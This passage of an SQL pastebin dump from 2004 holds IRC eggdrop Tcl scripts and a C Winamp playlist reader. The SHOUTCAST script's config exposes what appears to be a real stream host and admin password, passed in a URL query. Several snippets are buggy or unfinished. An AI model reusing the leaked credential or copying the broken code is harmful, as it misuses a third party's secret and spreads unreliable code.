\\00304Politics\\003. $channel allows political discussions and nicknames as long as those are still decent and non-offensive to other channels." \r\n\r\nputnotc $nick "Remember: $channel ops do their job for the love of the channel, they do not get paid for being ops. You are welcome to ask for assistance, but be patient for an op might be busy with someone else. You will be voiced (+v) on channel activity. Enjoy your time on $channel, $nick."\r\n\r\n}\r\n\r\nreturn 1\r\n\r\n}\r\n\r\n', 0, 'tcl', 'channel rules listing via /notice', '#EggTCL');
INSERT INTO `pastebin` VALUES (2221, 'sdgsgsg', '2004-09-03 18:11:54', 'set ruleschan "#lebanon"\r\n\r\nbind pub - !rules rules\r\n\r\nbind join -|- "$ruleschan *" joinmsg\r\n\r\n\r\n\r\nproc joinmsg {nick host hand chan} {\r\n\r\n global botnick ruleschan \r\n\r\n  if {($nick != $botnick) && ([strlwr $ruleschan]==[strlwr $chan])} {\r\n\r\n  putnotc $nick "Hello and welcome to \\002$chan\\002, $nick.  Please type !rules on the main channel if you need help clarifying $chan rules. Enjoy your stay! :-)"\r\n\r\n }gdfg\r\n\r\n}\r\n\r\n\r\n\r\nproc rules {nick host handle channel arg} {\r\n\r\nglobal botnick ruleschan\r\n\r\nif {![isop $botnick $channel]} {return 0}\r\n\r\nset n2hand [nick2hand $nick $channel]\r\n\r\nif {[regexp -nocase dcc $nick]} {return 0}\r\n\r\nif {[isop $nick $channel]} {putserv "PRIVMSG $channel :You''re a $channel Op, $nick. You should already know the rules, dumbo."}\r\n\r\nputnotc $nick "Listing $channel user-rules:"\r\n\r\nputnotc $nick "\\002$channel [strupr prohibits]\\002 any act of:"\r\n\r\nputnotc $nick "1) \\00304Flooding, Hacking, Spamming or Scanning\\003"\r\n\r\nputnotc $nick "2) \\00304Bad Nicks\\003 (Offensive Nicknames)"\r\n\r\nputnotc $nick "3) \\00304Swearing\\003 (Offensive language, including disrespect to another user''s race or color.)"\r\n\r\nputnotc $nick "4) \\00304Sexual Reference\\003 and/or any act of harrassing other $channel users" \r\n\r\nputnotc $nick "5) \\00304Religious Topics\\003 (No references or discussions about religion of any kind is permitted.)"\r\n\r\nputnotc $nick "6) \\00304ONLY English and/or Arabic.\\003 (which allows $channel Operators to monitor the channel easily.)"\r\n\r\nputnotc $nick "7) \\00304Politics\\003. $channel allows political discussions and nicknames as long as those are still decent and non-offensive to other channels." \r\n\r\nputnotc $nick "Remember: $channel ops do their job for the love of the channel, they do not get paid for being ops. You are welcome to ask for assistance, but be patient for an op might be busy with someone else. You will be voiced (+v) on channel activity. Enjoy your time on $channel, $nick."\r\n\r\n}\r\n\r\nreturn 1\r\n\r\n}', 2220, 'none', 'none', 'none');
INSERT INTO `pastebin` VALUES (2222, 'phrek', '2004-09-04 03:33:12', '#  mv <file> <destination>\r\n#    Description: moves a file from its source to the given destination.\r\n#      The file can also be a mask, such as /incoming/*, provided the\r\n#      destination is a directory.\r\n#    Returns: If the command was successful, the number of files moved will\r\n#      be returned. Otherwise, a negative number will be returned:\r\n#        -1 invalid source file\r\n#        -2 invalid destination\r\n#        -3 destination file exists\r\n#        -4 no matches found\r\n#    Module: filesys\r\nproc ::tcldrop::filesys::mv {file dest} {\r\n	global incoming-path\r\n	set relfile $file\r\n	set reldest $dest\r\n	#need to normalize the $dir first to make sure they aren''t trying to move something that they shouldn''t be able to.\r\n	\r\n	#check if a mask was provided as file and a directory as the dest\r\n	if {[string first * [file tail $file]] == -1} {\r\n		#no mask\r\n	} else {\r\n		#make sure dest is a dir\r\n		if {[catch [file normalize [file join ${incoming-path} [file normalize $dest]]] dest]} {\r\n			#could not normalize - invalid destination\r\n			return -2\r\n		} else {\r\n			if {[file pathtype $file] == "relative"} {\r\n				# no need to normalize file by itself - just file/mask\r\n				if {[catch {file normalize [file join ${incoming-path} $file]} file]} {\r\n					# could not normalize source for some reason\r\n					return -1\r\n				} else {\r\n					# make sure files are within bounds\r\n					if {[string compare -nocase [file normalize ${incoming-path}] $file] == 1} {\r\n						return -1\r\n					} elseif {[string compare -nocase [file normalize ${incoming-path}] $dest] == 1} {\r\n						return -2\r\n					} else {\r\n						# now make sure dest dir exists\r\n						if {[file isdirectory $dest]} {\r\n							# get source file list using glob (containing each path for each file)\r\n							set filelist [glob -nocomplain -type f -- $file]\r\n							if {[llength $filelist] == 0} {\r\n								#couldn''t find any files matching the file mask\r\n								return -4\r\n							} else {\r\n								set trampling 0\r\n								foreach filepath $filelist {\r\n									if {[catch {file rename $filepath $dest} err] && [string equal [string range $a end-5 end] "exists"]} {\r\n										# at least one of the files already existed (skip)\r\n										set trampling 1\r\n									}\r\n								}\r\n								if {$trampling == 1} {\r\n									return -3\r\n								} else {\r\n									return 0\r\n								}\r\n							}\r\n						} else {\r\n							return -2\r\n						}\r\n					}\r\n				}\r\n			} else {\r\n				# normalize\r\n				if {[catch [file normalize [file join ${incoming-path} [string trimleft [file normalize $file] /]]] file]} {\r\n					#could not normalize - invalid source\r\n					return -1\r\n				} else {\r\n					#make sure it is a valid path ie /blah/*.txt\r\n					#/blah.*\r\n					#C:/blah.*\r\n					#/abs/*\r\n					if {[string compare -nocase [file normalize ${incoming-path}] $file] == 1} {\r\n						# trying to move a source outside of allowed bounds so use relative root\r\n						set file [file normalize [file join ${incoming-path} $file]]\r\n						#for all *relative paths to be normalized place a / before normalizing\r\n						\r\n						\r\n					} else {\r\n						if {[string compare -nocase [file normalize ${incoming-path}] $dest] == 1} {\r\n							#tried to move to a destination outside of allowed bounds\r\n							\r\n						} else {\r\n							\r\n						}\r\n					}\r\n					glob -nocomplain -directory / -tails -- *.txt\r\n				}\r\n			}\r\n		}\r\n	}\r\n}', 0, 'tcl', 'bahg!!!', '#TCL');
INSERT INTO `pastebin` VALUES (2223, 'meij', '2004-09-04 14:46:58', '#include <windows.h> // Windows API Functions\r\n#include <stdio.h>\r\n#include <sys/stat.h>\r\n\r\n#define WINAMP_WINDOW_NAME	"Winamp v1.x" // WinAmp''s Window Name (v1/2/5)\r\n#define MAX_ARRAY_SIZE		65025\r\n#define MAX_STRING_LENGTH	2048\r\n\r\n#define IPC_WRITEPLAYLIST	120 // Requires WinAmp 1.666+\r\n#define IPC_GETLISTLENGTH	124 // Requires WinAmp 2.0+\r\n#define IPC_GETFILE			211\r\n#define IPC_GETTITLE		212\r\n#define IPC_ENQUEUEFILE		100\r\n#define IPC_DELETE			101\r\n\r\nHINSTANCE wAmphInst = 0;\r\n\r\n//PROTOTYPES\r\nint wAmpOpenProcess(HWND wAmphWnd);\r\nint fileExists(char * file);\r\n\r\n//MAIN\r\nint main(void)\r\n{\r\n	HWND wAmphWnd = NULL;\r\n\r\n	if ((wAmphWnd = FindWindow(WINAMP_WINDOW_NAME, NULL)) == NULL) // If WinAmp isnt running error!\r\n	{\r\n		printf("Error: Winamp isnt currently running, aborting!\\n");\r\n		exit(1);\r\n	}\r\n\r\n	if (wAmpOpenProcess(wAmphWnd) != 1)\r\n	{\r\n		printf("Error: Couldnt open process, aborting!\\n");\r\n		exit(1);\r\n	}\r\n\r\n	unsigned short int wAmpTotalSongs = SendMessage(wAmphWnd, WM_USER, NULL, IPC_GETLISTLENGTH), i;\r\n	//char wAmpTitles[MAX_ARRAY_SIZE][MAX_STRING_LENGTH];\r\n	//char wAmpFiles[MAX_ARRAY_SIZE][MAX_STRING_LENGTH];\r\n	for (i = 0; wAmpTotalSongs > 0; i++)\r\n	{\r\n		char songFile[MAX_STRING_LENGTH] = "";\r\n		char songTitle[MAX_STRING_LENGTH] = "";\r\n		unsigned long int wAmpPointerTitle = SendMessage(wAmphWnd, WM_USER, wAmpTotalSongs - 1, IPC_GETTITLE),\r\n			wAmpPointerFile = SendMessage(wAmphWnd, WM_USER, wAmpTotalSongs - 1, IPC_GETFILE);\r\n		ReadProcessMemory(wAmphInst, (LPVOID) wAmpPointerTitle, songTitle, MAX_STRING_LENGTH, NULL);\r\n		ReadProcessMemory(wAmphInst, (LPVOID) wAmpPointerFile, songFile, MAX_STRING_LENGTH, NULL);\r\n		printf("Title: \\%s\\nFilename: \\%s\\n", songTitle, songFile);\r\n		// Cant copy too array\r\n		//wAmpFiles[i][MAX_STRING_LENGTH] = "test";\r\n		wAmpTotalSongs--;\r\n	}\r\n	exit(0);\r\n}\r\n\r\nint wAmpOpenProcess(HWND wAmphWnd)\r\n{\r\n	DWORD wAmpThreadId = 0, wAmpProcessId = 0;\r\n	wAmpThreadId = GetWindowThreadProcessId(wAmphWnd, &wAmpProcessId);\r\n	wAmphInst = OpenProcess(PROCESS_VM_READ, FALSE, wAmpProcessId);\r\n	if (wAmphInst == 0)\r\n		return 0;\r\n	else\r\n		return 1;\r\n}\r\n\r\nint fileExists(char * file)\r\n{\r\n	struct stat buff;\r\n	int i = stat(file, &buff);\r\n	if (i == 0)\r\n		return 1;\r\n	return 0;\r\n}\r\n', 0, 'c', 'none', 'none');
INSERT INTO `pastebin` VALUES (2224, 'montana', '2004-09-04 17:03:01', 'proc setdj {nickname djnickname } {\r\nif {$djnickname == "" } { set djnickname $nickname }\r\nglobal streamip streamport streampass\r\nputlog "shoutcast: new dj: $djnickname ($nickname)"\r\nset temp [open "dj" w+]\r\nputs $temp $djnickname\r\nclose $temp\r\nset temp [open "djnick" w+]\r\nputs $temp $nickname\r\nclose $temp\r\nputserv "privmsg $nickname :your are now dj of this radio"\r\nif {[catch {set sock [socket $streamip $streamport] } sockerror]} {\r\nputlog "error: $sockerror"\r\nreturn 0 } else {\r\nputs $sock "GET /admin.cgi?pass=$streampass&mode=viewxml&page=0 HTTP/1.0"\r\nputs $sock "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9)"\r\nputs $sock "Host: $streamip"\r\nputs $sock "Connection: close"\r\nputs $sock ""\r\nflush $sock\r\nwhile {[eof $sock] != 1} {\r\nset bl [gets $sock]\r\nif { [string first "standalone" $bl] != -1 } {\r\nset streamstatus [string range $bl [shrink + 14 "<STREAMSTATUS>" 0 $bl] [shrink - 1 "</STREAMSTATUS>" 0 $bl]]\r\n}}\r\nif { $streamstatus == "1" } { poststuff privmsg "$djnickname is now rocking the turntables, enjoy." } else {\r\nputserv "privmsg $nickname :this has not been announced because the radio is currentlfy offline." }\r\n}}\r\n', 0, 'none', 'help? :P', 'none');
INSERT INTO `pastebin` VALUES (2225, 'BL4DE', '2004-09-05 06:31:36', 'set triggers "hi hello hiya"\r\nforeach c $triggers {\r\n bind pub - $c pub:reply_hello\r\n}\r\nproc pub:reply_hello {nick host hand chan text} {\r\n if {[catch {set contents [split [read [set f [open hi.txt r]]] \\n ] ; close $f}]} {\r\n   putserv "PRIVMSG $chan :[string map "<nick> $nick" [lindex $contents [rand [expr [llength $contents] - 1]]]]"\r\n } else { putserv "PRIVMSG $chan :i was not able to do it" }\r\n}\r\n', 0, 'tcl', 'for khaleej', '#TCL');
INSERT INTO `pastebin` VALUES (2226, 'thedge', '2004-09-05 06:44:06', 'set triggers "hi hello hiya"\r\nforeach c $triggers {\r\n bind pubm - $c pub:reply_hello\r\n}\r\nproc pub:reply_hello {nick host hand chan text} {\r\n if {[catch {set contents [split [read [set f [open hi.txt r]]] \\n ] ; close $f}]} {\r\n   putserv "PRIVMSG $chan :[string map "<nick> $nick" [lindex $contents [rand [expr [llength $contents] - 1]]]]"\r\n } else { putserv "PRIVMSG $chan :i was not able to do it" }\r\n}', 2225, 'none', 'try this :)', '#TCL');
INSERT INTO `pastebin` VALUES (2227, 'montana', '2004-09-05 09:19:43', 'proc listener { target } {\r\nglobal streamip streamport streampass\r\nputlog "shoutcast: $target requested listener count"\r\nif {[catch {set sock [socket $streamip $streamport] } sockerror]} {\r\nputlog "error: $sockerror"\r\nreturn 0 } else {\r\nputs $sock "GET /admin.cgi?pass=$streampass&mode=viewxml&page=0 HTTP/1.0"\r\nputs $sock "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9)"\r\nputs $sock "Host: $streamip"\r\nputs $sock "Connection: close"\r\nputs $sock ""\r\nflush $sock\r\nwhile {[eof $sock] != 1} {\r\nset bl [gets $sock]\r\nif { [string first "standalone" $bl] != -1 } {\r\nset repl [string range $bl [shrink + 19 "<REPORTEDLISTENERS>" 0 $bl] [shrink - 1 "</REPORTEDLISTENERS>" 0 $bl]]\r\nset curhigh [string range $bl [shrink + 15 "<PEAKLISTENERS>" 0 $bl] [shrink - 1 "</PEAKLISTENERS>" 0 $bl]]\r\nset maxl [string range $bl [shrink + 14 "<MAXLISTENERS>" 0 $bl] [shrink - 1 "</MAXLISTENERS>" 0 $bl]]\r\nset avgtime [string range $bl [shrink + 13 "<AVERAGETIME>" 0 $bl] [shrink - 1 "</AVERAGETIME>" 0 $bl]]\r\n}}\r\nclose $sock\r\nputserv "PRIVMSG $chan :Lyttere: $repl/$maxl"\r\n}}\r\n\r\nproc msg_listener { nick uhost hand arg } { global radiochans; listener $nick }\r\nproc pub_listener { nick uhost hand chan arg } { global radiochans; if {([lsearch -exact [string tolower $radiochans] [string tolower $chan]] != -1) || ($radiochans == "")} { listener $nick  }}\r\n', 0, 'none', 'none', 'none');
INSERT INTO `pastebin` VALUES (2228, 'Robb`', '2004-09-05 09:41:22', 'proc listener { target } {\r\nglobal streamip streamport streampass\r\nputlog "shoutcast: $target requested listener count"\r\nif {[catch {set sock [socket $streamip $streamport] } sockerror]} {\r\nputlog "error: $sockerror"\r\nreturn 0 } else {\r\nputs $sock "GET /admin.cgi?pass=$streampass&mode=viewxml&page=0 HTTP/1.0"\r\nputs $sock "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9)"\r\nputs $sock "Host: $streamip"\r\nputs $sock "Connection: close"\r\nputs $sock ""\r\nflush $sock\r\nwhile {[eof $sock] != 1} {\r\nset bl [gets $sock]\r\nif { [string first "standalone" $bl] != -1 } {\r\nset repl [string range $bl [shrink + 19 "<REPORTEDLISTENERS>" 0 $bl] [shrink - 1 "</REPORTEDLISTENERS>" 0 $bl]]\r\nset curhigh [string range $bl [shrink + 15 "<PEAKLISTENERS>" 0 $bl] [shrink - 1 "</PEAKLISTENERS>" 0 $bl]]\r\nset maxl [string range $bl [shrink + 14 "<MAXLISTENERS>" 0 $bl] [shrink - 1 "</MAXLISTENERS>" 0 $bl]]\r\nset avgtime [string range $bl [shrink + 13 "<AVERAGETIME>" 0 $bl] [shrink - 1 "</AVERAGETIME>" 0 $bl]]\r\n}}\r\nclose $sock\r\nputserv "PRIVMSG $target :Lyttere: $repl/$maxl"\r\n}}\r\n\r\nproc msg_listener { nick uhost hand arg } { global radiochans; listener $nick }\r\nproc pub_listener { nick uhost hand chan arg } { global radiochans; if {([lsearch -exact [string tolower $radiochans] [string tolower $chan]] != -1) || ($radiochans == "")} { listener $chan  }}', 0, 'none', 'use this, it will work ;)', '#EggTCL');
INSERT INTO `pastebin` VALUES (2229, 'gozzer', '2004-09-06 14:58:19', '# You need to add some security routines though\r\n# Trigger would be something like: /notice <bot> join #channel\r\nbind notc n|n join* add_channel\r\n\r\nproc add_channel {nick uhost hand text {dest ""}} {\r\n   global botnick; if {$dest == ""} {set dest $botnick}\r\n   set chan [lindex [split $text] 1]\r\n   channel add $chan\r\n   putlog "$hand added $chan"\r\n}', 0, 'tcl', 'none', '#TCL');
INSERT INTO `pastebin` VALUES (2230, 'Robb', '2004-09-06 17:31:17', '\r\nproc lrandom {L} { lindex $L [expr { int(rand()*[llength $L]) }] }\r\n\r\nbind pub - hello pub_hello2\r\nbind pub - hi pub_hello2\r\nbind pub - hii pub_hello2\r\nbind pub - hiii pub_hello2\r\nbind pub - hiiii pub_hello2\r\nbind pub - hiiiii pub_hello2\r\nbind pub - hiiiiii pub_hello2\r\nbind pub - howdy pub_hello2\r\nbind pub - hiya pub_hello2\r\n\r\nset file "/eggdrop/scripts/bottalk/hi.txt"\r\nset fid [open $file r]\r\nset ranhello [split [read $fid] \\n]\r\nclose $fid\r\n\r\nproc pub_hello2 {nick uhost hand chan $ranhello} {\r\nif [rand 2] {\r\nputchan $chan [string map [list <nick> $nick] [lrandom $::ranhello]]\r\n}\r\nreturn 1\r\n}    ', 0, 'none', 'none', 'none');
INSERT INTO `pastebin` VALUES (2231, 'Robb', '2004-09-06 17:52:21', '\r\nbind pub - !sing pub_sing\r\n\r\nset file "/eggdrop/scripts/bottalk/sing.txt"\r\nset fid [open $file r]\r\nset ransings [split [read $fid] \\n]\r\nclose $fid\r\n\r\nproc pub_sing {nick uhost hand chan text} {\r\nif {[llength [split $text]] == 0} {\r\nputhelp "PRIVMSG $chan :\\001ACTION [lindex [rand [llength $::ransings]]]"\r\n}\r\nreturn 1\r\n}\r\n\r\n', 0, 'none', 'none', 'none');
INSERT INTO `pastebin` VALUES (2232, 'NiGHt0wL', '2004-09-06 17:56:59', '# shoutcast.tcl v1.02 by domsen <domsen@domsen.org> (c)2oo3\r\n#\r\n# comments? bugs? ideas? requests? money? beer? \r\n# plz mail me or visit my homepage @ www.domsen.org\r\n# also check out www.uid-zero.de\r\n#\r\n# this script is for all the online radio admins out there. it announces serveral\r\n# stuff like the status of your radio, the current song, new listener peaks,\r\n# the current listeners and much much more to the channels you want.\r\n# the users can get infos by public and msg command, too, like the stream url,\r\n# stream stats, the last played songs, the current song, the dj... and much\r\n# more.\r\n# also the bot informs the users about the current dj, whenever he changes or\r\n# a certain command is triggered. the dj name doesnt need to be your nickname,\r\n# so you can also call yourself "goethe mc" even if your irc nickname is\r\n# [gay]michael. the good thing about this is: nobody knows your nickname, so \r\n# you wont get unwanted querys with wishes and greets. the dj can also change\r\n# his nickname and the wish- and greet-feature will still work fine.\r\n# only users with the flag +D can be djs, so make sure to give this flag to\r\n# your djs -> .chattr djnick +D\r\n# the script also changes the topic when your stream goes on or offline and\r\n# sends a public message, which is costumizeable.\r\n# it was tested with shoutcast 1.9.2 on debian linux.\r\n#\r\n# note: make sure youve got a good connection from your shellserver to your\r\n# streamserver - if its the same server then thats very very good. the bot\r\n# checks every minute if something happened, so if the connection is not fast\r\n# the bot will lag like hell or timeout. make sure to change your settings\r\n# for the eggdrop floodprotection.\r\n#\r\n# script history:\r\n# v1.02 - added the .listener command, corrected some typos ;>\r\n# v1.01 - fixed a string i forgot to replace\r\n# v1.0  - first public release\r\n#\r\n# what does what config option mean?\r\n#\r\n# radiochans - the channels the tcl is active in, "" for all, or "#chan1 #chan2"\r\n# streamip - the ip of your radio\r\n# streamport - the port of your radio\r\n# streampass - the admin pass of your radio\r\n#\r\n# scstatstrigger - the trigger for the radio stats\r\n# scplayingtrigger - shows the song the radio is playing now\r\n# sclistenertrigger - shows the current listenercount\r\n# scdjtrigger - shows the current dj name\r\n# scstreamtrigger - shows your stream url -> streamtext\r\n# scsetdjtrigger - sets the current dj name, this doesnt have to be your nickname.\r\n#                  your nick will be saved too and all wishes and greets will be\r\n#                  redirected to this nickname. only availavle for ppl with the +D\r\n#                  flag.\r\n# scwishtrigger - the command which the users can use if they wish a certain song\r\n# scgreettrigger - the command which users can use if the want to greet sb\r\n# sclastsongstrigger - the commands which users can use if they want to see the\r\n#                      songhistory\r\n# schelptrigger - shows the available commands\r\n#\r\n# announce - shall the bot announce any stuff? 1 for yes, 0 for no\r\n# urltopic - shall the bot change the topic everytime the radio goes on or off?\r\n# tellsongs - shall the bot post the songtitle to the channels everytime a\r\n#             new song starts?\r\n# tellusers - shall the bot post the number of current users to the channel\r\n#             everytime it changes or a new user maximum is reached?\r\n# tellbitrate - shall the bot announce bitrate changes?\r\n#\r\n# offlinetext - the reason the bot says when the radio goes offline\r\n# offlinetopic - the topic which is set when the radio goes offline\r\n#\r\n# onlinetext - the reason the bot says when the radio goes online\r\n# onlinetopic - the topic which is set when the radio goes online\r\n#\r\n# streamtext - the text with your stream infos\r\n# advertise - shall the bot advertist the advertisetext?\r\n# advertisetext - the text the bot will post once every 10 minutes.\r\n#\r\n# known bugs:\r\n# -numbers in the songhistory are killed, this is a xml sourcecode problem\r\n# -öäü are not shown correctly in the songtitles, because xml replaces each\r\n#  of them with the same chars, so i cant fix it :(\r\n#\r\n#\r\n#\r\n# config ##########################\r\n\r\nset radiochans ""\r\nset streamip "nightowl.dynu.ca"\r\nset streamport "8000"\r\nset streampass "2eppelin"\r\nset scstatstrigger "!radiostats"\r\nset scstreamtrigger "!stream"\r\nset scplayingtrigger "!song"\r\nset sclistenertrigger "!listeners"\r\nset scdjtrigger "!dj"\r\nset scsetdjtrigger "!setdj"\r\nset scwishtrigger "!wunsch"\r\nset scgreettrigger "!greet"\r\nset sclastsongstrigger "!lastsong"\r\nset schelptrigger "!radiohelp"\r\n\r\nset announce "1"\r\n\r\nset urltopic "0"\r\nset tellsongs "1"\r\nset tellusers "1"\r\nset tellbitrate "1"\r\n\r\nset advertise "0"\r\n\r\nset offlinetext "Radio went offline. DJ ran out of files *g"\r\n# set offlinetopic "11''\\%0,11\\%,12,11''\\%11,12\\%,2,12''\\%12,2\\%,1,2''\\%,11,12   .::Future is here::.  1,2\\%,12,2''\\%2,12\\%,11,12''\\%12,11\\%,0,11''\\%11\\%"\r\n\r\nset onlinetext "write !radiohelp for help"\r\n# set onlinetopic ""\r\n\r\nset streamtext "tune in @ http://$streamip:$streamport/listen.pls"\r\n\r\nset advertisetext ".:NiGHtOwL RaDiO:. @ http://$streamip:$streamport/listen.pls"\r\n\r\n# end of config #####################\r\n\r\nbind pub - $scstatstrigger  pub_scstat\r\nbind msg - $scstatstrigger  msg_scstat\r\n\r\nbind pub - $scplayingtrigger  pub_playing\r\nbind msg - $scplayingtrigger  msg_playing\r\n\r\nbind pub - $scdjtrigger  pub_dj\r\nbind msg - $scdjtrigger  msg_dj\r\n\r\nbind pub D $scsetdjtrigger  pub_setdj\r\nbind msg D $scsetdjtrigger  msg_setdj\r\n\r\nbind pub - $scwishtrigger  pub_wish\r\nbind msg - $scwishtrigger  msg_wish\r\n\r\nbind pub - $scgreettrigger  pub_greet\r\nbind msg - $scgreettrigger  msg_greet\r\n\r\nbind pub - $scstreamtrigger pub_stream\r\nbind msg - $scstreamtrigger msg_stream\r\n\r\nbind pub - $sclastsongstrigger pub_lastsongs\r\nbind msg - $sclastsongstrigger msg_lastsongs\r\n\r\nbind pub - $sclistenertrigger pub_listener\r\nbind msg - $sclistenertrigger msg_listener\r\n\r\nbind pub - $schelptrigger pub_help\r\nbind msg - $schelptrigger msg_help\r\n\r\nbind time - "* * * * *" isonline\r\nbind time - "?0 * * * *" advertise\r\nbind nick D * djnickchange\r\n\r\nproc shrink { calc number string start bl} { return [expr [string first "$string" $bl $start] $calc $number] }\r\n\r\nproc poststuff { mode text } {\r\nglobal radiochans\r\nforeach chan [channels] {\r\nif {$radiochans == "" } { putserv "$mode $chan :$text" }\r\nif {$radiochans != "" } {\r\nif {([lsearch -exact [string tolower $radiochans] [string tolower $chan]] != -1) || ($radiochans == "")} {putserv "$mode $chan :$text"}\r\n}}}\r\n\r\n\r\nproc schelp { target } {\r\nglobal scstatstrigger scstreamtrigger scplayingtrigger scdjtrigger sclastsongstrigger scwishtrigger scgreettrigger sclistenertrigger\r\nputserv "notice $target :the following commands are available:"\r\nputserv "notice $target :$scstatstrigger - $scstreamtrigger - $scplayingtrigger - $scdjtrigger - $sclastsongstrigger - $scwishtrigger - $scgreettrigger - $sclistenertrigger"\r\nputserv "notice $target :.:NiGHtOwL RaDiO:. loves you :)"\r\n}\r\n\r\nproc pub_help {nick uhost hand chan arg} {\r\nglobal radiochans\r\nif {$radiochans == "" } { schelp $nick }\r\nif {$radiochans != "" } {\r\nif {([lsearch -exact [string tolower $radiochans] [string tolower $chan]] != -1) || ($radiochans == "")} { schelp $nick}\r\n}}\r\n\r\nproc advertise { nick uhost hand chan arg } {\r\nglobal advertisetext advertise\r\nif {$advertise == "1" } { poststuff privmsg $advertisetext }\r\n}\r\n\r\n\r\nproc setdj {nickname djnickname } {\r\nif {$djnickname == "" } { set djnickname $nickname }\r\nglobal streamip streamport streampass\r\nputlog "shoutcast: new dj: $djnickname ($nickname)"\r\nset temp [open "dj" w+]\r\nputs $temp $djnickname\r\nclose $temp\r\nset temp [open "djnick" w+]\r\nputs $temp $nickname\r\nclose $temp\r\nputserv "privmsg $nickname :your are now dj of this radio"\r\nif {[catch {set sock [socket $streamip $streamport] } sockerror]} {\r\nputlog "error: $sockerror"\r\nreturn 0 } else {\r\nputs $sock "GET /admin.cgi?pass=$streampass&mode=viewxml&page=0 HTTP/1.0"\r\nputs $sock "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9)"\r\nputs $sock "Host: $streamip"\r\nputs $sock "Connection: close"\r\nputs $sock ""\r\nflush $sock\r\nwhile {[eof $sock] != 1} {\r\nset bl [gets $sock]\r\nif { [string first "standalone" $bl] != -1 } {\r\nset streamstatus [string range $bl [shrink + 14 "<STREAMSTATUS>" 0 $bl] [shrink - 1 "</STREAMSTATUS>" 0 $bl]]\r\n}}\r\nif { $streamstatus == "1" } { poststuff privmsg "$djnickname is now rocking the turntables, enjoy." } else {\r\nputserv "privmsg $nickname :this has not been announced because the radio is currentlfy offline." }\r\n}}\r\n\r\n\r\nproc listener { target } {\r\nglobal streamip streamport streampass\r\nputlog "shoutcast: $target requested listener count"\r\nif {[catch {set sock [socket $streamip $streamport] } sockerror]} {\r\nputlog "error: $sockerror"\r\nreturn 0 } else {\r\nputs $sock "GET /admin.cgi?pass=$streampass&mode=viewxml&page=0 HTTP/1.0"\r\nputs $sock "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9)"\r\nputs $sock "Host: $streamip"\r\nputs $sock "Connection: close"\r\nputs $sock ""\r\nflush $sock\r\nwhile {[eof $sock] != 1} {\r\nset bl [gets $sock]\r\nif { [string first "standalone" $bl] != -1 } {\r\nset repl [string range $bl [shrink + 19 "<REPORTEDLISTENERS>" 0 $bl] [shrink - 1 "</REPORTEDLISTENERS>" 0 $bl]]\r\nset curhigh [string range $bl [shrink + 15 "<PEAKLISTENERS>" 0 $bl] [shrink - 1 "</PEAKLISTENERS>" 0 $bl]]\r\nset maxl [string range $bl [shrink + 14 "<MAXLISTENERS>" 0 $bl] [shrink - 1 "</MAXLISTENERS>" 0 $bl]]\r\nset avgtime [string range $bl [shrink + 13 "<AVERAGETIME>" 0 $bl] [shrink - 1 "</AVERAGETIME>" 0 $bl]]\r\n}}\r\nclose $sock\r\nputserv "notice $target :there are currently $repl listeners\r\n#, the listener maximum is $maxl, our user peak was at $curhigh listeners, the listening time average is $avgtime"\r\n}}\r\n\r\nproc msg_listener { nick uhost hand arg } { global radiochans; listener $nick }\r\nproc pub_listener { nick uhost hand chan arg } { global radiochans; if {([lsearch -exact [string tolower $radiochans] [string tolower $chan]] != -1) || ($radiochans == "")} { listener $nick  }}\r\n\r\nproc wish { nick arg } {\r\nif {$arg == ""} { putserv "notice $nick :you forgot to add your wish"; return 0}\r\nglobal streamip streamport streampass\r\nputlog "shoutcast: $nick wants to hear: $arg"\r\nif {[catch {set sock [socket $streamip $streamport] } sockerror]} {\r\nputlog "error: $sockerror"\r\nreturn 0 } else {\r\nputs $sock "GET /admin.cgi?pass=$streampass&mode=viewxml&page=0 HTTP/1.0"\r\nputs $sock "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9)"\r\nputs $sock "Host: $streamip"\r\nputs $sock "Connection: close"\r\nputs $sock ""\r\nflush $sock\r\nwhile {[eof $sock] != 1} {\r\nset bl [gets $sock]\r\nif { [string first "standalone" $bl] != -1 } {\r\nset streamstatus [string range $bl [shrink + 14 "<STREAMSTATUS>" 0 $bl] [shrink - 1 "</STREAMSTATUS>" 0 $bl]]\r\n}}\r\nif { $streamstatus == "1" } { \r\nset temp [open "djnick" r]\r\nset djnick [gets $temp]\r\nclose $temp\r\nputserv "privmsg $djnick :(WISH) - $nick - $arg"\r\n} else {\r\nputserv "notice $nick :sorry radio is currently offline" }\r\n}}\r\n\r\n\r\nproc msg_wish { nick uhost hand arg } { global radiochans; wish $nick $arg }\r\nproc pub_wish { nick uhost hand chan arg } { global radiochans; if {([lsearch -exact [string tolower $radiochans] [string tolower $chan]] != -1) || ($radiochans == "")} { wish $nick $arg }}\r\n\r\n\r\n\r\n\r\nproc sclastsongs { target } {\r\nglobal streamip streamport streampass\r\nputlog "shoutcast: $target requested songhistory"\r\nif {[catch {set sock [socket $streamip $streamport] } sockerror]} {\r\nputlog "error: $sockerror"\r\nreturn 0 } else {\r\nputs $sock "GET /admin.cgi?pass=$streampass&mode=viewxml&page=0 HTTP/1.0"\r\nputs $sock "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9)"\r\nputs $sock "Host: $streamip"\r\nputs $sock "Connection: close"\r\nputs $sock ""\r\nflush $sock\r\nwhile {[eof $sock] != 1} {\r\nset bl [gets $sock]\r\nif { [string first "standalone" $bl] != -1 } {\r\nset songs [string range $bl [string first "<TITLE>" $bl] [expr [string last "</TITLE>" $bl] + 7]]\r\nregsub -all "&#x3C;" $songs "<" songs\r\nregsub -all "&#x3E;" $songs ">" songs\r\nregsub -all "&#x26;" $songs "+" songs\r\nregsub -all "&#x22;" $songs "\\"" songs\r\nregsub -all "&#x27;" $songs "''" songs\r\nregsub -all "&#xFF;" $songs "" songs\r\nregsub -all "<TITLE>" $songs "(" songs\r\nregsub -all "</TITLE>" $songs ")" songs\r\nregsub -all "<SONG>" $songs "" songs\r\nregsub -all "</SONG>" $songs " - " songs\r\nregsub -all "<PLAYEDAT>" $songs "" songs\r\nregsub -all "</PLAYEDAT>" $songs "" songs\r\nregsub -all {\\d} $songs "" songs\r\n}}\r\nputserv "notice $target :$songs"\r\n}}\r\n\r\n\r\nproc msg_lastsongs { nick uhost hand arg } { global radiochans; sclastsongs $nick }\r\nproc pub_lastsongs { nick 